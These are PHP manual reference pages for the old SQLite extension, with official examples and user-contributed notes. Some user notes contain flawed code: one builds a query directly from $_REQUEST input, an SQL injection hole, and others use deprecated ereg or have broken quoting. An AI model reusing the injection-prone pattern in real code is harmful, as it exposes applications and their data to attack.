bool SQLiteDatabase::queryExec ( string $query [, string &$error_msg ] )

Executes an SQL statement given by the query against a given database handle (specified by the dbhandle parameter).

Warning

SQLite will execute multiple queries separated by semicolons, so you can use it to execute a batch of SQL that you have loaded from a file or have embedded in a script.

Parameters

dbhandle

The SQLite Database resource; returned from sqlite_open() when used procedurally. This parameter is not required when using the object-oriented method.

query

The query to be executed.

Data inside the query should be properly escaped.

error_msg

The specified variable will be filled if an error occurs. This is specially important because SQL syntax errors can't be fetched using the sqlite_last_error() function.

Note: Two alternative syntaxes are supported for compatibility with other database extensions (such as MySQL). The preferred form is the first, where the dbhandle parameter is the first parameter to the function.

Return Values

This function will return a boolean result; TRUE for success or FALSE for failure. If you need to run a query that returns rows, see sqlite_query().

The column names returned by SQLITE_ASSOC and SQLITE_BOTH will be case-folded according to the value of the sqlite.assoc_case configuration option.

Changelog

Version | Description
5.1.0 | Added the error_msg parameter

Examples

Example #1 Procedural example

<?php
$dbhandle = sqlite_open('mysqlitedb');
$query = sqlite_exec($dbhandle, "UPDATE users SET email='jDoe@example.com' WHERE username='jDoe'", $error);
if (!$query) {
    exit("Error in query: '$error'");
} else {
    echo 'Number of rows modified: ', sqlite_changes($dbhandle);
}
?>

Example #2 Object-oriented example

<?php
$dbhandle = new SQLiteDatabase('mysqlitedb');
$query = $dbhandle->queryExec("UPDATE users SET email='jDoe@example.com' WHERE username='jDoe'", $error);
if (!$query) {
    exit("Error in query: '$error'");
} else {
    echo 'Number of rows modified: ', $dbhandle->changes();
}
?>

See Also

  • sqlite_query() - Executes a query against a given database and returns a result handle
  • sqlite_unbuffered_query() - Execute a query that does not prefetch and buffer all data
  • sqlite_array_query() - Execute a query against a given database and returns an array

User Contributed Notes

nonproffessional at clockworkgeek dot com 17-Apr-2008 12:01
Just to point out that "CREATE TABLE IF NOT EXISTS" is only supported in SQLite version 3.3.0 or above. And PHP (currently 5.2.5) only comes with SQLite version 2.1.

Executing a create table like this will throw an error as will creating a table that already exists. Instead execute a normal "CREATE TABLE" command and catch it with "try {..} catch".
rrf5000 at psu dot edu 24-Jun-2007 04:33
If you run a multiline SQL command (an INSERT, for example), and there is a SQL error in any of the lines, this function will recognize the error and return FALSE.  However, any correct commands before the one with the error will still execute.  Additionally, if you run changes() after such an incident, it will report that 0 rows have been changed, even though there were rows added to the table by the successful commands.

An example would be:

<?php

// create new database (OO interface)
$dbo = new SQLiteDatabase("db/database.sqlite");

// create table foo
$dbo->query("CREATE TABLE foo(id INTEGER PRIMARY KEY, name CHAR(255));");

// insert sample data
$ins_query = "INSERT INTO foo (name) VALUES ('Ilia1');
INSERT INTO foo (name) VALUES('Ilia2');
INSECT INTO foo (name) VALUES('Ilia3');";
$dbo->queryExec($ins_query);

// get number of rows changed
$changes = $dbo->changes();
echo "<br />Rows changed:  $changes<br />";

// Get and show inputted data
$tableArray = $dbo->arrayQuery("SELECT * FROM foo;");
echo "Table Contents\n";
echo "<pre>\n";
print_r($tableArray);
echo "\n</pre>";

?>

The above code should show that 0 rows have been changed, but that there is new data in the table.
sqlite_escape_string
sqlite_factory
SQLite Functions


Opens an SQLite database and returns an SQLiteDatabase object

sqlite_exec
sqlite_fetch_all
SQLite Functions
PHP Manual

sqlite_factory

(PHP 5)

sqlite_factory — Opens an SQLite database and returns an SQLiteDatabase object

Description

SQLiteDatabase sqlite_factory ( string $filename [, int $mode = 0666 [, string &$error_message ]] )

sqlite_factory() behaves similarly to sqlite_open() in that it opens an SQLite database or attempts to create it if it does not exist. However, a SQLiteDatabase object is returned rather than a resource. Please see the sqlite_open() reference page for further usage and caveats.

Parameters

filename

The filename of the SQLite database.

mode

The mode of the file. Intended to be used to open the database in read-only mode. Presently, this parameter is ignored by the sqlite library. The default value for mode is the octal value 0666 and this is the recommended value.

error_message

Passed by reference and is set to hold a descriptive error message explaining why the database could not be opened if there was an error.

Return Values

Returns an SQLiteDatabase object on success, NULL on error.

Examples

Example #1 sqlite_factory() example

<?php
$dbhandle = sqlite_factory('sqlitedb');
$dbhandle->query('SELECT user_id, username FROM users');

/* functionally equivalent to: */

$dbhandle = new SQLiteDatabase('sqlitedb');
$dbhandle->query('SELECT user_id, username FROM users');

?>

See Also

  • sqlite_open() - Opens an SQLite database and create the database if it does not exist
  • sqlite_popen() - Opens a persistent handle to an SQLite database and create the database if it does not exist

User Contributed Notes

There are no user contributed notes for this page.
sqlite_exec
sqlite_fetch_all
SQLite Functions


Fetches all rows from a result set as an array of arrays

sqlite_factory
sqlite_fetch_array
SQLite Functions
PHP Manual

sqlite_fetch_all

SQLiteResult::fetchAll

SQLiteUnbuffered::fetchAll

(PHP 5, PECL sqlite >= 1.0.0)

sqlite_fetch_all -- SQLiteResult::fetchAll -- SQLiteUnbuffered::fetchAll — Fetches all rows from a result set as an array of arrays

Description

array sqlite_fetch_all ( resource $result [, int $result_type = SQLITE_BOTH [, bool $decode_binary = true ]] )

Object oriented style (method):

array SQLiteResult::fetchAll ([ int $result_type = SQLITE_BOTH [, bool $decode_binary = true ]] )
array SQLiteUnbuffered::fetchAll ([ int $result_type = SQLITE_BOTH [, bool $decode_binary = true ]] )

sqlite_fetch_all() returns an array of the entire result set from the result resource. It is similar to calling sqlite_query() (or sqlite_unbuffered_query()) and then sqlite_fetch_array() for each row in the result set.

Parameters

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

result_type

The optional result_type parameter accepts a constant and determines how the returned array will be indexed. Using SQLITE_ASSOC will return only associative indices (named fields) while SQLITE_NUM will return only numerical indices (ordinal field numbers). SQLITE_BOTH will return both associative and numerical indices. SQLITE_BOTH is the default for this function.

decode_binary

When the decode_binary parameter is set to TRUE (the default), PHP will decode the binary encoding it applied to the data if it was encoded using the sqlite_escape_string(). You should normally leave this value at its default, unless you are interoperating with databases created by other sqlite capable applications.

Return Values

Returns an array of the remaining rows in a result set. If called right after sqlite_query(), it returns all rows. If called after sqlite_fetch_array(), it returns the rest. If there are no rows in a result set, it returns an empty array.

The column names returned by SQLITE_ASSOC and SQLITE_BOTH will be case-folded according to the value of the sqlite.assoc_case configuration option.

Examples

Example #1 Procedural example

<?php
$dbhandle = sqlite_open('sqlitedb');
$query = sqlite_query($dbhandle, 'SELECT name, email FROM users LIMIT 25');
$result = sqlite_fetch_all($query, SQLITE_ASSOC);
foreach ($result as $entry) {
    echo 'Name: ' . $entry['name'] . '  E-mail: ' . $entry['email'];
}
?>

Example #2 Object-oriented example

<?php
$dbhandle = new SQLiteDatabase('sqlitedb');

$query = $dbhandle->query('SELECT name, email FROM users LIMIT 25'); // buffered result set
$query = $dbhandle->unbufferedQuery('SELECT name, email FROM users LIMIT 25'); // unbuffered result set

$result = $query->fetchAll(SQLITE_ASSOC);
foreach ($result as $entry) {
    echo 'Name: ' . $entry['name'] . '  E-mail: ' . $entry['email'];
}
?>

See Also

  • sqlite_fetch_array() - Fetches the next row from a result set as an array

User Contributed Notes

Minots Estichá <minots at D0X dot de> 21-Oct-2004 09:15
The usage of sqlite_fetch_all should be your choise
(instead the well known practice of "while()" loop)
when unmodified tabledata is prefered.

Example code for a better illustration:
<?php
if ($dbhandle = sqlite_open('mysqlitedb', 0666, $sqliteerror)):
   $query  = "SELECT x, y FROM sometable LIMIT 3;";
   $result = sqlite_query($dbhandle, $query);

   // usage with sqlite_fetch_all
   $array1 = sqlite_fetch_all($result, SQLITE_ASSOC);

   // the "well known practice"
   $i = '0';
   while ($row = sqlite_fetch_array($result, SQLITE_ASSOC)):
       $array2["$i"] = $row;
       $i++;
   endwhile;

   sqlite_close($dbhandle);
endif;
?>

There are no differents within the values of array1 and array2.
Both arrays will be something like:

Array
(
    [0] => Array
        (
            [x] => 22004
            [y] => example_data1
        )

    [1] => Array
        (
            [x] => 92044
            [y] => example_data2
        )

    [2] => Array
        (
            [x] => 143060
            [y] => example_data3
        )
)

If you want to let me know about your comments, feel
free to send me a note via feedback-formular at:
http://www.d0x.de/pages/kontakt.php
sqlite_factory
sqlite_fetch_array
SQLite Functions


Fetches the next row from a result set as an array

sqlite_fetch_all
sqlite_fetch_column_types
SQLite Functions
PHP Manual

sqlite_fetch_array

SQLiteResult::fetch

SQLiteUnbuffered::fetch

(PHP 5, PECL sqlite >= 1.0.0)

sqlite_fetch_array -- SQLiteResult::fetch -- SQLiteUnbuffered::fetch — Fetches the next row from a result set as an array

Description

array sqlite_fetch_array ( resource $result [, int $result_type = SQLITE_BOTH [, bool $decode_binary = true ]] )

Object oriented style (method):

array SQLiteResult::fetch ([ int $result_type = SQLITE_BOTH [, bool $decode_binary = true ]] )
array SQLiteUnbuffered::fetch ([ int $result_type = SQLITE_BOTH [, bool $decode_binary = true ]] )

Fetches the next row from the given result handle. If there are no more rows, returns FALSE, otherwise returns an associative array representing the row data.

Parameters

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

result_type

The optional result_type parameter accepts a constant and determines how the returned array will be indexed. Using SQLITE_ASSOC will return only associative indices (named fields) while SQLITE_NUM will return only numerical indices (ordinal field numbers). SQLITE_BOTH will return both associative and numerical indices. SQLITE_BOTH is the default for this function.

decode_binary

When the decode_binary parameter is set to TRUE (the default), PHP will decode the binary encoding it applied to the data if it was encoded using the sqlite_escape_string(). You should normally leave this value at its default, unless you are interoperating with databases created by other sqlite capable applications.

Return Values

Returns an array of the next row from a result set; FALSE if the next position is beyond the final row.

The column names returned by SQLITE_ASSOC and SQLITE_BOTH will be case-folded according to the value of the sqlite.assoc_case configuration option.

Examples

Example #1 Procedural example

<?php
$dbhandle = sqlite_open('sqlitedb');
$query = sqlite_query($dbhandle, 'SELECT name, email FROM users LIMIT 25');
while ($entry = sqlite_fetch_array($query, SQLITE_ASSOC)) {
    echo 'Name: ' . $entry['name'] . '  E-mail: ' . $entry['email'];
}
?>

Example #2 Object-oriented example

<?php
$dbhandle = new SQLiteDatabase('sqlitedb');

$query = $dbhandle->query('SELECT name, email FROM users LIMIT 25'); // buffered result set
$query = $dbhandle->unbufferedQuery('SELECT name, email FROM users LIMIT 25'); // unbuffered result set

while ($entry = $query->fetch(SQLITE_ASSOC)) {
    echo 'Name: ' . $entry['name'] . '  E-mail: ' . $entry['email'];
}
?>

See Also

  • sqlite_array_query() - Execute a query against a given database and returns an array
  • sqlite_fetch_string() - Alias of sqlite_fetch_single

User Contributed Notes

saleh at sfsj dot net 09-May-2004 06:12
[Editor's note: to get short column names there's an undocumented PRAGMA setting. You can exec "PRAGMA short_column_names = ON" to force that behavior.]

I noticed that if you use Joins in SQL queries, the field name is messed up with the dot!
for example if you have this query:
SELECT n.*, m.nickname FROM news AS n, members AS m WHERE n.memberID = m.id;

now if you want to print_r the results returned using SQLITE_ASSOC type, the result array is like this :
array
(
  [n.memberID] => 2
  [n.title] => test title
  [m.nickname] => NeverMind
  [tablename.fieldname] => value
)

and I think it looks horriable to use the variable ,for example, $news['m.nickname'] I just don't like it!

so I've made a small function that will remove the table name (or its Alias) and will return the array after its index is cleaned
<?php
function CleanName($array)
{
  foreach ($array as $key => $value) {
    //if you want to keep the old element with its key remove the following line
      unset($array[$key]);

   //now we clean the key from the dot and tablename (alise) and set the new element
      $key = substr($key, strpos($key, '.')+1);
      $array[$key] = $value;
  }
  return $array;
}
?>
sqlite_fetch_all
sqlite_fetch_column_types
SQLite Functions


Return an array of column types from a particular table

sqlite_fetch_array
sqlite_fetch_object
SQLite Functions
PHP Manual

sqlite_fetch_column_types

SQLiteDatabase::fetchColumnTypes

(PHP 5)

sqlite_fetch_column_types -- SQLiteDatabase::fetchColumnTypes — Return an array of column types from a particular table

Description

array sqlite_fetch_column_types ( string $table_name , resource $dbhandle [, int $result_type = SQLITE_ASSOC ] )

Object oriented style (method):

array SQLiteDatabase::fetchColumnTypes ( string $table_name [, int $result_type = SQLITE_ASSOC ] )

sqlite_fetch_column_types() returns an array of column data types from the specified table_name table.

Parameters

table_name

The table name to query.

dbhandle

The SQLite Database resource; returned from sqlite_open() when used procedurally. This parameter is not required when using the object-oriented method.

result_type

The optional result_type parameter accepts a constant and determines how the returned array will be indexed. Using SQLITE_ASSOC will return only associative indices (named fields) while SQLITE_NUM will return only numerical indices (ordinal field numbers). SQLITE_ASSOC is the default for this function.

Return Values

Returns an array of column data types; FALSE on error.

The column names returned by SQLITE_ASSOC and SQLITE_BOTH will be case-folded according to the value of the sqlite.assoc_case configuration option.

Changelog

Version | Description
5.1.0 | Added result_type

Examples

Example #1 Procedural example

<?php
$db = sqlite_open('mysqlitedb');
sqlite_query($db, 'CREATE TABLE foo (bar varchar(10), arf text)');
$cols = sqlite_fetch_column_types('foo', $db, SQLITE_ASSOC);

foreach ($cols as $column => $type) {
    echo "Column: $column  Type: $type\n";
}
?>

Example #2 Object-oriented example

<?php
$db = new SQLiteDatabase('mysqlitedb');
$db->query('CREATE TABLE foo (bar varchar(10), arf text)');
$cols = $db->fetchColumnTypes('foo', SQLITE_ASSOC);

foreach ($cols as $column => $type) {
    echo "Column: $column  Type: $type\n";
}
?>

The above example will output:

Column: bar  Type: VARCHAR
Column: arf  Type: TEXT

User Contributed Notes

enthusiast 06-Mar-2005 08:19
If I (OO version) try to add the contant SQLITE_ASSOC, (exactly as listed in the above example) it generates the following error:

SQLiteDatabase::fetchColumnTypes() expects exactly 1 parameter, 2 given in C:\....

If I remove it completely, it returns the associative array I expected.
10-Jan-2005 03:01
The problem with the permanently locked database file when using this function still seems to exist in PHP 5.0.3 (tested on win32).

However, you can get all the information you need about the fields of a table by using this query:

PRAGMA table_info(name_of_your_table);
hugo_pl at users dot sourceforge dot net 17-Aug-2004 09:55
This function, and the OO version, is bugged in PHP <= 5.0.1, locking the database until you restart the webserver.

http://bugs.php.net/bug.php?id=29476
sqlite_fetch_array
sqlite_fetch_object
SQLite Functions


Fetches the next row from a result set as an object

sqlite_fetch_column_types
sqlite_fetch_single
SQLite Functions
PHP Manual

sqlite_fetch_object

SQLiteResult::fetchObject

SQLiteUnbuffered::fetchObject

(PHP 5)

sqlite_fetch_object -- SQLiteResult::fetchObject -- SQLiteUnbuffered::fetchObject — Fetches the next row from a result set as an object

Description

object sqlite_fetch_object ( resource $result [, string $class_name [, array $ctor_params [, bool $decode_binary = true ]]] )

Object oriented style (method):

object SQLiteResult::fetchObject ([ string $class_name [, array $ctor_params [, bool $decode_binary = true ]]] )
object SQLiteUnbuffered::fetchObject ([ string $class_name [, array $ctor_params [, bool $decode_binary = true ]]] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

florian at phpws dot org 12-Aug-2006 10:13
Here is the function from "cscm at meuh dot dyndns dot org" rewriten.
I think it will work better when really assigning the values ;-)
Also I'd replace the empty "bidon" class by stdClass wich is such an empty class and is provided by default.

// Fetch resultset as an object
function sqlite_fetch_object(&$resource){
               $arr =  sqlite_fetch_array($resource);
               $obj = new stdClass();
               foreach ($arr as $key => $value) {
                       # Check is valid $T_VARIABLE
                       if (ereg(\"[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*\", $key)) {
                               $obj->$key = $value;
                       }
               }
               return $obj;
}
vbwebprofi at gmx dot de 11-Mar-2006 07:39
Here a light workaround for PHP 4.x which I use in my DBAccess class :

<?
  function sqlite_fetch_object(&$result) {
    $vO = sqlite_fetch_array($result, SQLITE_ASSOC);

    if($vO) {
      $vO = (object) $vO;
    }

    return $vO;
  }
?>

HTH Holger
cscm at meuh dot dyndns dot org 04-Feb-2006 04:35
As the sqlite_fetch_object function is not implemented in the PECL extension version 1.0.3.
I’ve rewrite the sqlite_fetch_object in PHP :

// An empty class
class bidon {
}

// Fetch resultset as an object
function sqlite_fetch_object(&$resource){
                $arr =  sqlite_fetch_array($resource);
                $obj = new bidon();
                foreach ($arr as $key => $value) {
                        # Check is valid $T_VARIABLE
                        if (ereg(\"[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*\", $key)) {
                                $obj->$key;
                        }
                }
                return $obj;
}

Voila
Benjamin 21-Sep-2004 10:34
This function is not implemented in the PECL extension version 1.0.3  http://pecl.php.net/package/SQLite/1.0.3
sqlite_fetch_column_types
sqlite_fetch_single
SQLite Functions


Fetches the first column of a result set as a string

sqlite_fetch_object
sqlite_fetch_string
SQLite Functions
PHP Manual

sqlite_fetch_single

SQLiteResult::fetchSingle

SQLiteUnbuffered::fetchSingle

(PHP 5, PECL sqlite >= 1.0.1)

sqlite_fetch_single -- SQLiteResult::fetchSingle -- SQLiteUnbuffered::fetchSingle — Fetches the first column of a result set as a string

Description

string sqlite_fetch_single ( resource $result [, bool $decode_binary = true ] )

Object oriented style (method):

string SQLiteResult::fetchSingle ([ bool $decode_binary = true ] )
string SQLiteUnbuffered::fetchSingle ([ bool $decode_binary = true ] )

sqlite_fetch_single() is identical to sqlite_fetch_array() except that it returns the value of the first column of the rowset.

This is the most optimal way to retrieve data when you are only interested in the values from a single column of data.

Parameters

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

decode_binary

When the decode_binary parameter is set to TRUE (the default), PHP will decode the binary encoding it applied to the data if it was encoded using the sqlite_escape_string(). You should normally leave this value at its default, unless you are interoperating with databases created by other sqlite capable applications.

Return Values

Returns the first column value, as a string.

Examples

Example #1 A sqlite_fetch_single() example

<?php
if ($dbhandle = sqlite_open('mysqlitedb', 0666, $sqliteerror)) {

    $sql = "SELECT id FROM sometable WHERE id = 42";
    $res = sqlite_query($dbhandle, $sql);

    if (sqlite_num_rows($res) > 0) {
        echo sqlite_fetch_single($res); // 42
    }

    sqlite_close($dbhandle);
}
?>

See Also

  • sqlite_fetch_array() - Fetches the next row from a result set as an array

User Contributed Notes

visavi dot net at mail dot ru (Vantuz) 08-Aug-2009 04:26
With the help of sqlite_fetch_single, you can quickly and easily calculate the number of elements in the table

<?php

// create new database (OO interface)
$db = new SQLiteDatabase('database.db', 0666);

// create table inbox and paste data
$db->queryExec("
CREATE TABLE inbox (
inbox_id INTEGER NOT NULL PRIMARY KEY,
inbox_send varchar(20) NOT NULL,
inbox_text TEXT NOT NULL,
inbox_time INTEGER UNSIGNED NOT NULL,
inbox_user varchar(20) NOT NULL
);");

$ins_query = "
INSERT INTO inbox (inbox_send, inbox_text, inbox_time, inbox_user) VALUES ('Ilia1', 'Message1', '".time()."', 'my_name');
INSERT INTO inbox (inbox_send, inbox_text, inbox_time, inbox_user) VALUES ('Ilia2', 'Message2', '".time()."', 'user');
INSERT INTO inbox (inbox_send, inbox_text, inbox_time, inbox_user) VALUES ('Ilia2', 'Message3', '".time()."', 'my_name');
";

$db->queryExec($ins_query);

//view all posts by my_name
$total = $db->singleQuery("SELECT count(*) FROM inbox WHERE inbox_user='my_name';");

echo $total;
// the result will be the number 2

/* P.S. sorry for my english */
?>
jmarbas at hotmail dot com 23-Jul-2005 05:45
It isnt specified in the above description for this function, but yes this function will not only return the first column, but it will also return the first value (ie from the first row in the result set) of that column. Also the result set pointer is involved here in that if you use sqlite_fetch_single in a loop, it will return each value in the first column sequentially and advance the result set pointer each time.

i.e. the first loop iteration it returns the first value in the first column. the second loop iteration it returns the second value in the first column. the third loop iteration the third value and so on.

  $handle = sqlite_open("database_file_name") or die("Could not open database");
  //generate query string
  $query = "select distinct field1 from database_name";
  //execute query
  $result = sqlite_query($handle,$query)
  //if a row exists
  if(sqlite_num_rows($result)>0){
    echo "<table cellpadding=\"10\" border=\"1\">";
    //check for more rows
    while(sqlite_has_more($result)){
      //get first field from each row
      //print values
      $row=sqlite_fetch_single($result);
      echo "<tr>";
      echo "<td>".$row."</td>";
      echo "</tr>";
    }
    echo "</table>";
  }
  //close database file
  sqlite_close($handle);
roga at yoopee dot de 11-Jul-2004 01:02
Be careful with the use of sqlite_fetch_single() in a while-loop:

<?php
$result = sqlite_query($db_handle, 'SELECT foo FROM bar;');

while ($row = sqlite_fetch_single($result)) {
     /*...do s.th. with $row...*/
}
?>

This may not work as expected because the loop will stop if any of the foos has a false value (e.g. zero).

Use sqlite_has_more() instead:

<?php
$result = sqlite_query($db_handle, 'SELECT foo FROM bar;');

while (sqlite_has_more($result)) {
     $row = sqlite_fetch_single($result);
     /*...do s.th. with $row...*/
}
?>
sqlite_fetch_object
sqlite_fetch_string
SQLite Functions


Alias of sqlite_fetch_single

sqlite_fetch_single
sqlite_field_name
SQLite Functions
PHP Manual

sqlite_fetch_string

(PHP 5, PECL sqlite >= 1.0.0)

sqlite_fetch_string — Alias of sqlite_fetch_single()

Description

This function is an alias of: sqlite_fetch_single().

User Contributed Notes

There are no user contributed notes for this page.
sqlite_fetch_single
sqlite_field_name
SQLite Functions


Returns the name of a particular field

sqlite_fetch_string
sqlite_has_more
SQLite Functions
PHP Manual

sqlite_field_name

SQLiteResult::fieldName

SQLiteUnbuffered::fieldName

(PHP 5, PECL sqlite >= 1.0.0)

sqlite_field_name -- SQLiteResult::fieldName -- SQLiteUnbuffered::fieldName — Returns the name of a particular field

Description

string sqlite_field_name ( resource $result , int $field_index )

Object oriented style (method):

string SQLiteResult::fieldName ( int $field_index )
string SQLiteUnbuffered::fieldName ( int $field_index )

Given the ordinal column number, field_index, sqlite_field_name() returns the name of that field in the result set result.

Parameters

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

field_index

The ordinal column number in the result set.

Return Values

Returns the name of a field in an SQLite result set, given the ordinal column number; FALSE on error.

The column names returned by SQLITE_ASSOC and SQLITE_BOTH will be case-folded according to the value of the sqlite.assoc_case configuration option.

User Contributed Notes

Jan Holeek 12-Jan-2011 05:27
This code works with SQlite version 3 databases.
<?php
function sqlite_field_names($dbfile, $tablename){
    try
      {
    $db = new PDO("sqlite:".$dbfile);
    $sql=$db->query("SELECT sql FROM sqlite_master WHERE tbl_name='".$tablename."'");
    foreach($sql as $row)
        {
        $fields = $row["sql"];
        }
    $db = NULL;
   }
   catch(PDOException $e)
   {
    print "Exception : ".$e->getMessage();
   }
    $cut=strtok($fields,"(");
    while($fieldnames[]=strtok(",")) {};
    array_pop($fieldnames);
    foreach($fieldnames as $no => $field)
        if (strpos($field, "PRIMARY KEY")){
            strtok($field,"(");
            $primary=strtok(")");
            unset($fieldnames[$no]);
        } else
            $fieldnames[$no]=strtok($field, " ");
    return $fieldnames;
}

print_r(array_values(sqlite_field_names($dbfile, $tablename)));
?>
admin at psychonautical dot org 09-Nov-2010 11:58
It's not the most elegant way, but it works:

<?php
function sqlite_field_names($db, $tablename){
    $sq5=sqlite_single_query($db, "SELECT sql FROM sqlite_master WHERE tbl_name='".$tablename."'", SQLITE_NUM);
    $kommando=$sq5[0];
    $cut=strtok($kommando,"(");
    while($fieldnames[]=strtok(",")) {};
    array_pop($fieldnames);
    foreach($fieldnames as $no => $field)
        if (strpos($field, "PRIMARY KEY")){
            strtok($field,"(");
            $primary=strtok(")");
            unset($fieldnames[$no]);
        } else
            $fieldnames[$no]=strtok($field, " ");
    return $fieldnames;
}
?>
rrf5000 at psu dot edu 22-Jun-2007 01:03
While working with SQLite using its object-oriented mode, I found need to display a column/field name without knowing what it was in advance.  I couldn't find any examples on the Internet, just this document.  So, for anyone who happens to need to do this, here's an example.

<?php

$db = "db/database.sqlite";

// create new database (OO interface)
$dbo = new SQLiteDatabase("$db");

// create table foo and insert sample data
$dbo->query("
 CREATE TABLE foo(id INTEGER PRIMARY KEY, name CHAR(255));
 INSERT INTO foo (name) VALUES('Ilia1');
 INSERT INTO foo (name) VALUES('Ilia2');
 INSERT INTO foo (name) VALUES('Ilia3');
");

$query = "SELECT * FROM foo;";

$result = $dbo->query($query) or die("Error in query");

echo "
<table border='1' cellpadding='10'>
 <tr>
  <td>".$result->fieldName(0)."</td>
  <td>".$result->fieldName(1)."</td>
 </tr>";

// iterate through the retrieved rows
while ($result->valid()) {
  // fetch current row
  $row = $result->current();
  echo "
 <tr>
  <td>".$row[0]."</td>
  <td>".$row[1]."</td>
 </tr>";
  // proceed to next row
  $result->next();
}

echo "</table>";

?>
sqlite_fetch_string
sqlite_has_more
SQLite Functions


Finds whether or not more rows are available

sqlite_field_name
sqlite_has_prev
SQLite Functions
PHP Manual

sqlite_has_more

(PHP 5, PECL sqlite >= 1.0.0)

sqlite_has_more — Finds whether or not more rows are available

Description

bool sqlite_has_more ( resource $result )

Finds whether more rows are available from the given result set.

Parameters

result

The SQLite result resource.

Return Values

Returns TRUE if there are more rows available from the result handle, or FALSE otherwise.

See Also

  • sqlite_num_rows() - Returns the number of rows in a buffered result set
  • sqlite_changes() - Returns the number of rows that were changed by the most recent SQL statement

User Contributed Notes

dcchut at gmail dot com 01-Feb-2009 04:39
dragosmocrii at gmail dot com:

It is slightly more efficient to use the COUNT function. (And when I say slightly I mean whisker small slightly.)

<?php
// $db is a SQLite database connection

if (sqlite_single_query($db, 'SELECT COUNT(*) FROM records WHERE amount_owing > 500')) {
    // There are records where the amount owing exceeds $500, do some action.
} else {
    // No money for you!
}

?>
dragosmocrii at gmail dot com 06-Apr-2008 11:08
I use this function to check if an element exists in the database.

<?php
$cat=$_REQUEST['cat'];
$db=sqlite_open('./sqlite_database.db',0666,$err) or die();
$query='select * from catsub where cat=\''.$cat.'\'';
$result=sqlite_has_more(sqlite_query($db,$query));
if($result===true ) echo 'Exists'; else echo 'Doesnt Exist';
sqlite_close($db);
?>
sqlite_field_name
sqlite_has_prev
SQLite Functions


Returns whether or not a previous row is available

sqlite_has_more
sqlite_key
SQLite Functions
PHP Manual

sqlite_has_prev

SQLiteResult::hasPrev

(PHP 5)

sqlite_has_prev -- SQLiteResult::hasPrev — Returns whether or not a previous row is available

Description

bool sqlite_has_prev ( resource $result )

Object oriented style (method):

bool SQLiteResult::hasPrev ( void )

Find whether there are more previous rows from the given result handle.

Parameters

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

Note:

This function cannot be used with unbuffered result handles.

Return Values

Returns TRUE if there are more previous rows available from the result handle, or FALSE otherwise.

See Also

  • sqlite_prev() - Seek to the previous row number of a result set
  • sqlite_has_more() - Finds whether or not more rows are available
  • sqlite_num_rows() - Returns the number of rows in a buffered result set

User Contributed Notes

There are no user contributed notes for this page.
sqlite_has_more
sqlite_key
SQLite Functions


Returns the current row index

sqlite_has_prev
sqlite_last_error
SQLite Functions
PHP Manual

sqlite_key

SQLiteResult::key

(PHP 5 >= 5.1.0)

sqlite_key -- SQLiteResult::key — Returns the current row index

Description

int sqlite_key ( resource $result )

Object oriented style (method):

int SQLiteResult::key ( void )

sqlite_key() returns the current row index of the buffered result set result.

Parameters

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

Note:

This function cannot be used with unbuffered result handles.

Return Values

Returns the current row index of the buffered result set result.

Changelog

Version | Description
5.0.4 | Prior to PHP 5.0.4, sqlite_key() was only able to be called as a method on a SQLiteResult object, not procedurally.

See Also

  • sqlite_next() - Seek to the next row number
  • sqlite_current() - Fetches the current row from a result set as an array
  • sqlite_rewind() - Seek to the first row number

User Contributed Notes

There are no user contributed notes for this page.
sqlite_has_prev
sqlite_last_error
SQLite Functions


Returns the error code of the last error for a database

sqlite_key
sqlite_last_insert_rowid
SQLite Functions
PHP Manual

sqlite_last_error

SQLiteDatabase::lastError

(PHP 5, PECL sqlite >= 1.0.0)

sqlite_last_error -- SQLiteDatabase::lastError — Returns the error code of the last error for a database

Description

int sqlite_last_error ( resource $dbhandle )

Object oriented style (method):

int SQLiteDatabase::lastError ( void )

Returns the error code from the last operation performed on dbhandle (the database handle), or 0 when no error occurred. A human readable description of the error code can be retrieved using sqlite_error_string().

Parameters

dbhandle

The SQLite Database resource; returned from sqlite_open() when used procedurally. This parameter is not required when using the object-oriented method.

Return Values

Returns an error code, or 0 if no error occurred.

See Also

  • sqlite_error_string() - Returns the textual description of an error code

User Contributed Notes

There are no user contributed notes for this page.
sqlite_key
sqlite_last_insert_rowid
SQLite Functions


Returns the rowid of the most recently inserted row

sqlite_last_error
sqlite_libencoding
SQLite Functions
PHP Manual

sqlite_last_insert_rowid

SQLiteDatabase::lastInsertRowid

(PHP 5, PECL sqlite >= 1.0.0)

sqlite_last_insert_rowid -- SQLiteDatabase::lastInsertRowid — Returns the rowid of the most recently inserted row

Description

int sqlite_last_insert_rowid ( resource $dbhandle )

Object oriented style (method):

int SQLiteDatabase::lastInsertRowid ( void )

Returns the rowid of the row that was most recently inserted into the database dbhandle, if it was created as an auto-increment field.

Tip

You can create auto-increment fields in SQLite by declaring them as INTEGER PRIMARY KEY in your table schema.

Parameters

dbhandle

The SQLite Database resource; returned from sqlite_open() when used procedurally. This parameter is not required when using the object-oriented method.

Return Values

Returns the row id, as an integer.

User Contributed Notes

22-Feb-2006 08:31
Note that you don't need to create a primary key for your table. In the absence of an integer primary key, SQLite simply uses an internal key called "RowID" or "OID".
It has all of the features of a normal integer primary key(auto-incrementing, returned by sqlite_last_insert_rowid(), accessible via SELECT, etc), except that it's handled better by SQLite and doesn't require the extra characters in the "CREATE" command.
If you just want a primary key as an auto-incrementing ID for your rows, save yourself the trouble and just use "OID" instead.

Also, according to the SQLite website, the id returned is for the last insert in the current *connection*, not just database. This means that if there are two connections to the same database at the same time, and both perform "INSERT", each can get it's own inserted rowid later, so basically this is thread-safe(So long as no-one calls "REINDEX").
ffoeg at shaw dot ca 01-Jan-2006 05:53
Note that if you insret a few rows in your table, say rowid 1-5, and then delete 2,3 and 4, you will be left with the rowids 1 and 5, not 1 and 2. This may seem basic to anyone with database experience, but I had to check it out with a GUI tool before I figured this one out. Anyway, what it boils down to is that sometimes your rowid will be greater than the number returned by the SQLite COUNT (*) function.
David 15-Apr-2005 07:50
I have noticed that this will still return an insert id even if a table has not been assigned a primary key or has not been assigned a primary key correctly. If the table was not created correctly sqlite_last_insert_rowid() will return its internal row id, which is probably not what you want. The correct way to establish a primary key migh look something like this look something like this:

create table some_table (id INTEGER PRIMARY KEY, some_field varchar(10))

Then you can try:

